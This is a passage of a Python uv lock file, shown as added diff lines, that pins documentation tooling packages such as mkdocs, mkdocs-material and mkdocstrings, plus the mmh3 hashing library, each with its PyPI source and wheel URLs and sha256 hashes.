+sdist = { url = "https://files.pythonhosted.org/packages/ab/f7/2933f1a1fb0e0f077d5d6a92c6c7f8a54e6128241f116dff4df8b6050bbf/mike-2.1.3.tar.gz", hash = "sha256:abd79b8ea483fb0275b7972825d3082e5ae67a41820f8d8a0dc7a3f49944e810", size = 38119, upload-time = "2024-08-13T05:02:14.167Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/fd/1a/31b7cd6e4e7a02df4e076162e9783620777592bea9e4bb036389389af99d/mike-2.1.3-py3-none-any.whl", hash = "sha256:d90c64077e84f06272437b464735130d380703a76a5738b152932884c60c062a", size = 33754, upload-time = "2024-08-13T05:02:12.515Z" },
+]
+
+[[package]]
+name = "mkdocs"
+version = "1.6.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "click" },
+    { name = "colorama", marker = "sys_platform == 'win32'" },
+    { name = "ghp-import" },
+    { name = "jinja2" },
+    { name = "markdown" },
+    { name = "markupsafe" },
+    { name = "mergedeep" },
+    { name = "mkdocs-get-deps" },
+    { name = "packaging" },
+    { name = "pathspec" },
+    { name = "pyyaml" },
+    { name = "pyyaml-env-tag" },
+    { name = "watchdog" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/bc/c6/bbd4f061bd16b378247f12953ffcb04786a618ce5e904b8c5a01a0309061/mkdocs-1.6.1.tar.gz", hash = "sha256:7b432f01d928c084353ab39c57282f29f92136665bdd6abf7c1ec8d822ef86f2", size = 3889159, upload-time = "2024-08-30T12:24:06.899Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/22/5b/dbc6a8cddc9cfa9c4971d59fb12bb8d42e161b7e7f8cc89e49137c5b279c/mkdocs-1.6.1-py3-none-any.whl", hash = "sha256:db91759624d1647f3f34aa0c3f327dd2601beae39a366d6e064c03468d35c20e", size = 3864451, upload-time = "2024-08-30T12:24:05.054Z" },
+]
+
+[[package]]
+name = "mkdocs-autorefs"
+version = "1.4.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "markdown" },
+    { name = "markupsafe" },
+    { name = "mkdocs" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/52/c0/f641843de3f612a6b48253f39244165acff36657a91cc903633d456ae1ac/mkdocs_autorefs-1.4.4.tar.gz", hash = "sha256:d54a284f27a7346b9c38f1f852177940c222da508e66edc816a0fa55fc6da197", size = 56588, upload-time = "2026-02-10T15:23:55.105Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/28/de/a3e710469772c6a89595fc52816da05c1e164b4c866a89e3cb82fb1b67c5/mkdocs_autorefs-1.4.4-py3-none-any.whl", hash = "sha256:834ef5408d827071ad1bc69e0f39704fa34c7fc05bc8e1c72b227dfdc5c76089", size = 25530, upload-time = "2026-02-10T15:23:53.817Z" },
+]
+
+[[package]]
+name = "mkdocs-extra-sass-plugin"
+version = "0.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "beautifulsoup4" },
+    { name = "libsass" },
+    { name = "mkdocs" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/8e/09/96284d51afae05aa35ffb17617a4ef819c06852bea566b935a1c1119660c/mkdocs-extra-sass-plugin-0.1.0.tar.gz", hash = "sha256:cca7ae778585514371b22a63bcd69373d77e474edab4b270cf2924e05c879219", size = 4973, upload-time = "2021-01-30T04:20:44.677Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ed/25/620659b5f9390b9b3ce2c0017cd3aef76d112a87bc2800640bdc2727b597/mkdocs_extra_sass_plugin-0.1.0-py3-none-any.whl", hash = "sha256:10aa086fa8ef1fc4650f7bb6927deb7bf5bbf5a2dd3178f47e4ef44546b156db", size = 5352, upload-time = "2021-01-30T04:20:46.064Z" },
+]
+
+[[package]]
+name = "mkdocs-get-deps"
+version = "0.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "mergedeep" },
+    { name = "platformdirs" },
+    { name = "pyyaml" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/98/f5/ed29cd50067784976f25ed0ed6fcd3c2ce9eb90650aa3b2796ddf7b6870b/mkdocs_get_deps-0.2.0.tar.gz", hash = "sha256:162b3d129c7fad9b19abfdcb9c1458a651628e4b1dea628ac68790fb3061c60c", size = 10239, upload-time = "2023-11-20T17:51:09.981Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9f/d4/029f984e8d3f3b6b726bd33cafc473b75e9e44c0f7e80a5b29abc466bdea/mkdocs_get_deps-0.2.0-py3-none-any.whl", hash = "sha256:2bf11d0b133e77a0dd036abeeb06dec8775e46efa526dc70667d8863eefc6134", size = 9521, upload-time = "2023-11-20T17:51:08.587Z" },
+]
+
+[[package]]
+name = "mkdocs-material"
+version = "9.7.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "babel" },
+    { name = "backrefs" },
+    { name = "colorama" },
+    { name = "jinja2" },
+    { name = "markdown" },
+    { name = "mkdocs" },
+    { name = "mkdocs-material-extensions" },
+    { name = "paginate" },
+    { name = "pygments" },
+    { name = "pymdown-extensions" },
+    { name = "requests" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/27/e2/2ffc356cd72f1473d07c7719d82a8f2cbd261666828614ecb95b12169f41/mkdocs_material-9.7.1.tar.gz", hash = "sha256:89601b8f2c3e6c6ee0a918cc3566cb201d40bf37c3cd3c2067e26fadb8cce2b8", size = 4094392, upload-time = "2025-12-18T09:49:00.308Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/3e/32/ed071cb721aca8c227718cffcf7bd539620e9799bbf2619e90c757bfd030/mkdocs_material-9.7.1-py3-none-any.whl", hash = "sha256:3f6100937d7d731f87f1e3e3b021c97f7239666b9ba1151ab476cabb96c60d5c", size = 9297166, upload-time = "2025-12-18T09:48:56.664Z" },
+]
+
+[[package]]
+name = "mkdocs-material-extensions"
+version = "1.3.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/79/9b/9b4c96d6593b2a541e1cb8b34899a6d021d208bb357042823d4d2cabdbe7/mkdocs_material_extensions-1.3.1.tar.gz", hash = "sha256:10c9511cea88f568257f960358a467d12b970e1f7b2c0e5fb2bb48cab1928443", size = 11847, upload-time = "2023-11-22T19:09:45.208Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/5b/54/662a4743aa81d9582ee9339d4ffa3c8fd40a4965e033d77b9da9774d3960/mkdocs_material_extensions-1.3.1-py3-none-any.whl", hash = "sha256:adff8b62700b25cb77b53358dad940f3ef973dd6db797907c49e3c2ef3ab4e31", size = 8728, upload-time = "2023-11-22T19:09:43.465Z" },
+]
+
+[[package]]
+name = "mkdocstrings"
+version = "0.30.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "jinja2" },
+    { name = "markdown" },
+    { name = "markupsafe" },
+    { name = "mkdocs" },
+    { name = "mkdocs-autorefs" },
+    { name = "pymdown-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c5/33/2fa3243439f794e685d3e694590d28469a9b8ea733af4b48c250a3ffc9a0/mkdocstrings-0.30.1.tar.gz", hash = "sha256:84a007aae9b707fb0aebfc9da23db4b26fc9ab562eb56e335e9ec480cb19744f", size = 106350, upload-time = "2025-09-19T10:49:26.446Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7b/2c/f0dc4e1ee7f618f5bff7e05898d20bf8b6e7fa612038f768bfa295f136a4/mkdocstrings-0.30.1-py3-none-any.whl", hash = "sha256:41bd71f284ca4d44a668816193e4025c950b002252081e387433656ae9a70a82", size = 36704, upload-time = "2025-09-19T10:49:24.805Z" },
+]
+
+[[package]]
+name = "mkdocstrings-python"
+version = "2.0.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "griffe" },
+    { name = "mkdocs-autorefs" },
+    { name = "mkdocstrings" },
+    { name = "typing-extensions", marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/25/84/78243847ad9d5c21d30a2842720425b17e880d99dfe824dee11d6b2149b4/mkdocstrings_python-2.0.2.tar.gz", hash = "sha256:4a32ccfc4b8d29639864698e81cfeb04137bce76bb9f3c251040f55d4b6e1ad8", size = 199124, upload-time = "2026-02-09T15:12:01.543Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f3/31/7ee938abbde2322e553a2cb5f604cdd1e4728e08bba39c7ee6fae9af840b/mkdocstrings_python-2.0.2-py3-none-any.whl", hash = "sha256:31241c0f43d85a69306d704d5725786015510ea3f3c4bdfdb5a5731d83cdc2b0", size = 104900, upload-time = "2026-02-09T15:12:00.166Z" },
+]
+
+[[package]]
+name = "mmh3"
+version = "5.2.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a7/af/f28c2c2f51f31abb4725f9a64bc7863d5f491f6539bd26aee2a1d21a649e/mmh3-5.2.0.tar.gz", hash = "sha256:1efc8fec8478e9243a78bb993422cf79f8ff85cb4cf6b79647480a31e0d950a8", size = 33582, upload-time = "2025-07-29T07:43:48.49Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b9/2b/870f0ff5ecf312c58500f45950751f214b7068665e66e9bfd8bc2595587c/mmh3-5.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:81c504ad11c588c8629536b032940f2a359dda3b6cbfd4ad8f74cb24dcd1b0bc", size = 56119, upload-time = "2025-07-29T07:41:39.117Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/88/eb9a55b3f3cf43a74d6bfa8db0e2e209f966007777a1dc897c52c008314c/mmh3-5.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0b898cecff57442724a0f52bf42c2de42de63083a91008fb452887e372f9c328", size = 40634, upload-time = "2025-07-29T07:41:40.626Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/4c/8e4b3878bf8435c697d7ce99940a3784eb864521768069feaccaff884a17/mmh3-5.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:be1374df449465c9f2500e62eee73a39db62152a8bdfbe12ec5b5c1cd451344d", size = 40080, upload-time = "2025-07-29T07:41:41.791Z" },
+    { url = "https://files.pythonhosted.org/packages/45/ac/0a254402c8c5ca424a0a9ebfe870f5665922f932830f0a11a517b6390a09/mmh3-5.2.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b0d753ad566c721faa33db7e2e0eddd74b224cdd3eaf8481d76c926603c7a00e", size = 95321, upload-time = "2025-07-29T07:41:42.659Z" },
+    { url = "https://files.pythonhosted.org/packages/39/8e/29306d5eca6dfda4b899d22c95b5420db4e0ffb7e0b6389b17379654ece5/mmh3-5.2.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dfbead5575f6470c17e955b94f92d62a03dfc3d07f2e6f817d9b93dc211a1515", size = 101220, upload-time = "2025-07-29T07:41:43.572Z" },
+    { url = "https://files.pythonhosted.org/packages/49/f7/0dd1368e531e52a17b5b8dd2f379cce813bff2d0978a7748a506f1231152/mmh3-5.2.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7434a27754049144539d2099a6d2da5d88b8bdeedf935180bf42ad59b3607aa3", size = 103991, upload-time = "2025-07-29T07:41:44.914Z" },
+    { url = "https://files.pythonhosted.org/packages/35/06/abc7122c40f4abbfcef01d2dac6ec0b77ede9757e5be8b8a40a6265b1274/mmh3-5.2.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cadc16e8ea64b5d9a47363013e2bea469e121e6e7cb416a7593aeb24f2ad122e", size = 110894, upload-time = "2025-07-29T07:41:45.849Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/2f/837885759afa4baccb8e40456e1cf76a4f3eac835b878c727ae1286c5f82/mmh3-5.2.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d765058da196f68dc721116cab335e696e87e76720e6ef8ee5a24801af65e63d", size = 118327, upload-time = "2025-07-29T07:41:47.224Z" },
+    { url = "https://files.pythonhosted.org/packages/40/cc/5683ba20a21bcfb3f1605b1c474f46d30354f728a7412201f59f453d405a/mmh3-5.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8b0c53fe0994beade1ad7c0f13bd6fec980a0664bfbe5a6a7d64500b9ab76772", size = 101701, upload-time = "2025-07-29T07:41:48.259Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/24/99ab3fb940150aec8a26dbdfc39b200b5592f6aeb293ec268df93e054c30/mmh3-5.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:49037d417419863b222ae47ee562b2de9c3416add0a45c8d7f4e864be8dc4f89", size = 96712, upload-time = "2025-07-29T07:41:49.467Z" },
+    { url = "https://files.pythonhosted.org/packages/61/04/d7c4cb18f1f001ede2e8aed0f9dbbfad03d161c9eea4fffb03f14f4523e5/mmh3-5.2.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:6ecb4e750d712abde046858ee6992b65c93f1f71b397fce7975c3860c07365d2", size = 110302, upload-time = "2025-07-29T07:41:50.387Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/bf/4dac37580cfda74425a4547500c36fa13ef581c8a756727c37af45e11e9a/mmh3-5.2.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:382a6bb3f8c6532ea084e7acc5be6ae0c6effa529240836d59352398f002e3fc", size = 111929, upload-time = "2025-07-29T07:41:51.348Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/b1/49f0a582c7a942fb71ddd1ec52b7d21d2544b37d2b2d994551346a15b4f6/mmh3-5.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7733ec52296fc1ba22e9b90a245c821adbb943e98c91d8a330a2254612726106", size = 100111, upload-time = "2025-07-29T07:41:53.139Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/94/ccec09f438caeb2506f4c63bb3b99aa08a9e09880f8fc047295154756210/mmh3-5.2.0-cp310-cp310-win32.whl", hash = "sha256:127c95336f2a98c51e7682341ab7cb0be3adb9df0819ab8505a726ed1801876d", size = 40783, upload-time = "2025-07-29T07:41:54.463Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/f4/8d39a32c8203c1cdae88fdb04d1ea4aa178c20f159df97f4c5a2eaec702c/mmh3-5.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:419005f84ba1cab47a77465a2a843562dadadd6671b8758bf179d82a15ca63eb", size = 41549, upload-time = "2025-07-29T07:41:55.295Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/a1/30efb1cd945e193f62574144dd92a0c9ee6463435e4e8ffce9b9e9f032f0/mmh3-5.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:d22c9dcafed659fadc605538946c041722b6d1104fe619dbf5cc73b3c8a0ded8", size = 39335, upload-time = "2025-07-29T07:41:56.194Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/87/399567b3796e134352e11a8b973cd470c06b2ecfad5468fe580833be442b/mmh3-5.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7901c893e704ee3c65f92d39b951f8f34ccf8e8566768c58103fb10e55afb8c1", size = 56107, upload-time = "2025-07-29T07:41:57.07Z" },
+    { url = "https://files.pythonhosted.org/packages/c3/09/830af30adf8678955b247d97d3d9543dd2fd95684f3cd41c0cd9d291da9f/mmh3-5.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4a5f5536b1cbfa72318ab3bfc8a8188b949260baed186b75f0abc75b95d8c051", size = 40635, upload-time = "2025-07-29T07:41:57.903Z" },
+    { url = "https://files.pythonhosted.org/packages/07/14/eaba79eef55b40d653321765ac5e8f6c9ac38780b8a7c2a2f8df8ee0fb72/mmh3-5.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cedac4f4054b8f7859e5aed41aaa31ad03fce6851901a7fdc2af0275ac533c10", size = 40078, upload-time = "2025-07-29T07:41:58.772Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/26/83a0f852e763f81b2265d446b13ed6d49ee49e1fc0c47b9655977e6f3d81/mmh3-5.2.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:eb756caf8975882630ce4e9fbbeb9d3401242a72528230422c9ab3a0d278e60c", size = 97262, upload-time = "2025-07-29T07:41:59.678Z" },
+    { url = "https://files.pythonhosted.org/packages/00/7d/b7133b10d12239aeaebf6878d7eaf0bf7d3738c44b4aba3c564588f6d802/mmh3-5.2.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:097e13c8b8a66c5753c6968b7640faefe85d8e38992703c1f666eda6ef4c3762", size = 103118, upload-time = "2025-07-29T07:42:01.197Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/3e/62f0b5dce2e22fd5b7d092aba285abd7959ea2b17148641e029f2eab1ffa/mmh3-5.2.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a7c0c7845566b9686480e6a7e9044db4afb60038d5fabd19227443f0104eeee4", size = 106072, upload-time = "2025-07-29T07:42:02.601Z" },
+    { url = "https://files.pythonhosted.org/packages/66/84/ea88bb816edfe65052c757a1c3408d65c4201ddbd769d4a287b0f1a628b2/mmh3-5.2.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:61ac226af521a572700f863d6ecddc6ece97220ce7174e311948ff8c8919a363", size = 112925, upload-time = "2025-07-29T07:42:03.632Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/13/c9b1c022807db575fe4db806f442d5b5784547e2e82cff36133e58ea31c7/mmh3-5.2.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:582f9dbeefe15c32a5fa528b79b088b599a1dfe290a4436351c6090f90ddebb8", size = 120583, upload-time = "2025-07-29T07:42:04.991Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/5f/0e2dfe1a38f6a78788b7eb2b23432cee24623aeabbc907fed07fc17d6935/mmh3-5.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2ebfc46b39168ab1cd44670a32ea5489bcbc74a25795c61b6d888c5c2cf654ed", size = 99127, upload-time = "2025-07-29T07:42:05.929Z" },
+    { url = "https://files.pythonhosted.org/packages/77/27/aefb7d663b67e6a0c4d61a513c83e39ba2237e8e4557fa7122a742a23de5/mmh3-5.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1556e31e4bd0ac0c17eaf220be17a09c171d7396919c3794274cb3415a9d3646", size = 98544, upload-time = "2025-07-29T07:42:06.87Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/97/a21cc9b1a7c6e92205a1b5fa030cdf62277d177570c06a239eca7bd6dd32/mmh3-5.2.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:81df0dae22cd0da87f1c978602750f33d17fb3d21fb0f326c89dc89834fea79b", size = 106262, upload-time = "2025-07-29T07:42:07.804Z" },
+    { url = "https://files.pythonhosted.org/packages/43/18/db19ae82ea63c8922a880e1498a75342311f8aa0c581c4dd07711473b5f7/mmh3-5.2.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:eba01ec3bd4a49b9ac5ca2bc6a73ff5f3af53374b8556fcc2966dd2af9eb7779", size = 109824, upload-time = "2025-07-29T07:42:08.735Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/f5/41dcf0d1969125fc6f61d8618b107c79130b5af50b18a4651210ea52ab40/mmh3-5.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e9a011469b47b752e7d20de296bb34591cdfcbe76c99c2e863ceaa2aa61113d2", size = 97255, upload-time = "2025-07-29T07:42:09.706Z" },
+    { url = "https://files.pythonhosted.org/packages/32/b3/cce9eaa0efac1f0e735bb178ef9d1d2887b4927fe0ec16609d5acd492dda/mmh3-5.2.0-cp311-cp311-win32.whl", hash = "sha256:bc44fc2b886243d7c0d8daeb37864e16f232e5b56aaec27cc781d848264cfd28", size = 40779, upload-time = "2025-07-29T07:42:10.546Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/e9/3fa0290122e6d5a7041b50ae500b8a9f4932478a51e48f209a3879fe0b9b/mmh3-5.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:8ebf241072cf2777a492d0e09252f8cc2b3edd07dfdb9404b9757bffeb4f2cee", size = 41549, upload-time = "2025-07-29T07:42:11.399Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/54/c277475b4102588e6f06b2e9095ee758dfe31a149312cdbf62d39a9f5c30/mmh3-5.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:b5f317a727bba0e633a12e71228bc6a4acb4f471a98b1c003163b917311ea9a9", size = 39336, upload-time = "2025-07-29T07:42:12.209Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/6a/d5aa7edb5c08e0bd24286c7d08341a0446f9a2fbbb97d96a8a6dd81935ee/mmh3-5.2.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:384eda9361a7bf83a85e09447e1feafe081034af9dd428893701b959230d84be", size = 56141, upload-time = "2025-07-29T07:42:13.456Z" },
+    { url = "https://files.pythonhosted.org/packages/08/49/131d0fae6447bc4a7299ebdb1a6fb9d08c9f8dcf97d75ea93e8152ddf7ab/mmh3-5.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c9da0d568569cc87315cb063486d761e38458b8ad513fedd3dc9263e1b81bcd", size = 40681, upload-time = "2025-07-29T07:42:14.306Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/6f/9221445a6bcc962b7f5ff3ba18ad55bba624bacdc7aa3fc0a518db7da8ec/mmh3-5.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86d1be5d63232e6eb93c50881aea55ff06eb86d8e08f9b5417c8c9b10db9db96", size = 40062, upload-time = "2025-07-29T07:42:15.08Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/d4/6bb2d0fef81401e0bb4c297d1eb568b767de4ce6fc00890bc14d7b51ecc4/mmh3-5.2.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bf7bee43e17e81671c447e9c83499f53d99bf440bc6d9dc26a841e21acfbe094", size = 97333, upload-time = "2025-07-29T07:42:16.436Z" },
+    { url = "https://files.pythonhosted.org/packages/44/e0/ccf0daff8134efbb4fbc10a945ab53302e358c4b016ada9bf97a6bdd50c1/mmh3-5.2.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7aa18cdb58983ee660c9c400b46272e14fa253c675ed963d3812487f8ca42037", size = 103310, upload-time = "2025-07-29T07:42:17.796Z" },
+    { url = "https://files.pythonhosted.org/packages/02/63/1965cb08a46533faca0e420e06aff8bbaf9690a6f0ac6ae6e5b2e4544687/mmh3-5.2.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae9d032488fcec32d22be6542d1a836f00247f40f320844dbb361393b5b22773", size = 106178, upload-time = "2025-07-29T07:42:19.281Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/41/c883ad8e2c234013f27f92061200afc11554ea55edd1bcf5e1accd803a85/mmh3-5.2.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1861fb6b1d0453ed7293200139c0a9011eeb1376632e048e3766945b13313c5", size = 113035, upload-time = "2025-07-29T07:42:20.356Z" },
+    { url = "https://files.pythonhosted.org/packages/df/b5/1ccade8b1fa625d634a18bab7bf08a87457e09d5ec8cf83ca07cbea9d400/mmh3-5.2.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:99bb6a4d809aa4e528ddfe2c85dd5239b78b9dd14be62cca0329db78505e7b50", size = 120784, upload-time = "2025-07-29T07:42:21.377Z" },
+    { url = "https://files.pythonhosted.org/packages/77/1c/919d9171fcbdcdab242e06394464ccf546f7d0f3b31e0d1e3a630398782e/mmh3-5.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1f8d8b627799f4e2fcc7c034fed8f5f24dc7724ff52f69838a3d6d15f1ad4765", size = 99137, upload-time = "2025-07-29T07:42:22.344Z" },
+    { url = "https://files.pythonhosted.org/packages/66/8a/1eebef5bd6633d36281d9fc83cf2e9ba1ba0e1a77dff92aacab83001cee4/mmh3-5.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b5995088dd7023d2d9f310a0c67de5a2b2e06a570ecfd00f9ff4ab94a67cde43", size = 98664, upload-time = "2025-07-29T07:42:23.269Z" },
+    { url = "https://files.pythonhosted.org/packages/13/41/a5d981563e2ee682b21fb65e29cc0f517a6734a02b581359edd67f9d0360/mmh3-5.2.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1a5f4d2e59d6bba8ef01b013c472741835ad961e7c28f50c82b27c57748744a4", size = 106459, upload-time = "2025-07-29T07:42:24.238Z" },
+    { url = "https://files.pythonhosted.org/packages/24/31/342494cd6ab792d81e083680875a2c50fa0c5df475ebf0b67784f13e4647/mmh3-5.2.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fd6e6c3d90660d085f7e73710eab6f5545d4854b81b0135a3526e797009dbda3", size = 110038, upload-time = "2025-07-29T07:42:25.629Z" },
+    { url = "https://files.pythonhosted.org/packages/28/44/efda282170a46bb4f19c3e2b90536513b1d821c414c28469a227ca5a1789/mmh3-5.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4a2f3d83879e3de2eb8cbf562e71563a8ed15ee9b9c2e77ca5d9f73072ac15c", size = 97545, upload-time = "2025-07-29T07:42:27.04Z" },
+    { url = "https://files.pythonhosted.org/packages/68/8f/534ae319c6e05d714f437e7206f78c17e66daca88164dff70286b0e8ea0c/mmh3-5.2.0-cp312-cp312-win32.whl", hash = "sha256:2421b9d665a0b1ad724ec7332fb5a98d075f50bc51a6ff854f3a1882bd650d49", size = 40805, upload-time = "2025-07-29T07:42:28.032Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/f6/f6abdcfefcedab3c964868048cfe472764ed358c2bf6819a70dd4ed4ed3a/mmh3-5.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:72d80005b7634a3a2220f81fbeb94775ebd12794623bb2e1451701ea732b4aa3", size = 41597, upload-time = "2025-07-29T07:42:28.894Z" },
+    { url = "https://files.pythonhosted.org/packages/15/fd/f7420e8cbce45c259c770cac5718badf907b302d3a99ec587ba5ce030237/mmh3-5.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:3d6bfd9662a20c054bc216f861fa330c2dac7c81e7fb8307b5e32ab5b9b4d2e0", size = 39350, upload-time = "2025-07-29T07:42:29.794Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/fa/27f6ab93995ef6ad9f940e96593c5dd24744d61a7389532b0fec03745607/mmh3-5.2.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:e79c00eba78f7258e5b354eccd4d7907d60317ced924ea4a5f2e9d83f5453065", size = 40874, upload-time = "2025-07-29T07:42:30.662Z" },
+    { url = "https://files.pythonhosted.org/packages/11/9c/03d13bcb6a03438bc8cac3d2e50f80908d159b31a4367c2e1a7a077ded32/mmh3-5.2.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:956127e663d05edbeec54df38885d943dfa27406594c411139690485128525de", size = 42012, upload-time = "2025-07-29T07:42:31.539Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/78/0865d9765408a7d504f1789944e678f74e0888b96a766d578cb80b040999/mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:c3dca4cb5b946ee91b3d6bb700d137b1cd85c20827f89fdf9c16258253489044", size = 39197, upload-time = "2025-07-29T07:42:32.374Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/12/76c3207bd186f98b908b6706c2317abb73756d23a4e68ea2bc94825b9015/mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e651e17bfde5840e9e4174b01e9e080ce49277b70d424308b36a7969d0d1af73", size = 39840, upload-time = "2025-07-29T07:42:33.227Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/0d/574b6cce5555c9f2b31ea189ad44986755eb14e8862db28c8b834b8b64dc/mmh3-5.2.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:9f64bf06f4bf623325fda3a6d02d36cd69199b9ace99b04bb2d7fd9f89688504", size = 40644, upload-time = "2025-07-29T07:42:34.099Z" },
+    { url = "https://files.pythonhosted.org/packages/52/82/3731f8640b79c46707f53ed72034a58baad400be908c87b0088f1f89f986/mmh3-5.2.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ddc63328889bcaee77b743309e5c7d2d52cee0d7d577837c91b6e7cc9e755e0b", size = 56153, upload-time = "2025-07-29T07:42:35.031Z" },
